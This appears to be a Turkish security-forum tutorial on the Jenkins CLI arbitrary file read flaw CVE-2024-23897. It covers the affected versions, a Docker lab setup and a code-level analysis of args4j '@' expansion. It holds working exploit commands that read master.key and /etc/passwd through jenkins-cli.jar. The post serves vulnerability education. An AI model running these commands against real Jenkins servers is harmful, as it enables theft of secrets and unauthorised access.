Hoşgeldin Misafir

Jenkins Keyfi Dosya Okuma Zafiyeti (CVE-2024–23897) Nedir ?

SurHan

28 Kas 2017
4,185 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Jenkins, betikler veya komut kabuğu aracılığıyla erişilebilen entegre bir komut satırı arayüzü (CLI) içerir. CLI komutunun yürütülmesi sırasında Jenkins, komut argümanlarını ve seçeneklerini Jenkins denetleyicisinde yorumlamak için args4j kütüphanesini kullanır. Jenkins'in etkilenmiş sürümlerinde varsayılan olarak etkin olan bir işlevsellik olan, CLI komut ayrıştırıcısının genişletilebilir özelliği, düşmanlar bu ayrıştırıcı özelliğini, @ parametresini takip eden karakterleri bir dosya yolunda kullanarak dosyanın içeriğiyle değiştirmek için kullanabilirler. Bu zafiyet, Jenkins denetleyici dosya sistemi içindeki herhangi bir dosyanın izinsiz okunmasına veya çeşitli senaryolarda uzaktan kod yürütme için kullanılmasına yol açabilir.

Komut Satırı Arayüzü Aracılığıyla Dosya Okuma: Jenkins'in içsel komut satırı arayüzü (CLI), bir dosya yolunun @ karakterine eklenmesiyle komut parametreleriyle dosya içeriğinin değiştirilmesine olanak tanıyan bir özellik içerir. Sonuç olarak, saldırganlar Jenkins denetleyicisinin dosya sistemindeki herhangi bir dosyaya potansiyel olarak erişebilirler.
İzinleri Atlama: Overall/Read izinlerine sahip saldırganlar, dosyaların tam içeriğini okuyabilirken, bu tür erişime sahip olmayanlar bile dosya içeriğinin bir kısmını görebilirler.

Etkilenen Sürümler:

Jenkins sürümü 2.441 ve öncesi
Jenkins Uzun Süreli Destek (LTS) sürümü 2.426.2 ve öncesi.

Ortam Kurulumu
Ortam kurulumu için Docker kullanın: https://hub.docker.com/r/jenkins/jenkins/tags

Kod:
docker pull jenkins/jenkins:2.440-jdk17
docker run  --name jenkins -p 8090:8080 jenkins/jenkins:2.440-jdk17

11bce543fa0db72765.png


1ea8647a473d902d8.png



Zafiyetin Çoğaltılması

Jenkins-cli.jar'ı indirmek için http://127.0.0.1:8090/cli/?remoting=false yoluna erişin.​

Kod:
 java -jar jenkins-cli.jar -s http://127.0.0.1:8090/ who-am-i "@/var/jenkins_home/secrets/master.key"

2.png


Kod:
java -jar jenkins-cli.jar -s http://127.0.0.1:8090/ help "@/etc/passwd"
java -jar jenkins-cli.jar -s http://127.0.0.1:8090/ who-am-i "@/etc/passwd"

3.png


Zafiyetin Analiz Edilmesi

Sürümler arasındaki farkları inceleyin:

Önemli değişiklikler src/main/java/hudson/cli/CLICommand.java dosyasında bulunmaktadır.

4.png


Kod:
hudson.cli.CLICommand#main

5.png


Kod:
org.kohsuke.args4j.CmdLineParser#parseArgument(java.lang.String...)

6.png


Kod:
org.kohsuke.args4j.CmdLineParser#expandAtFiles

7.png


Eğer bir argüman @ ile başlıyorsa, @ sonrasındaki içerik mutlak bir yol olarak kabul edilir, bir Dosya nesnesi oluşturulur ve dosyanın içeriği okunur.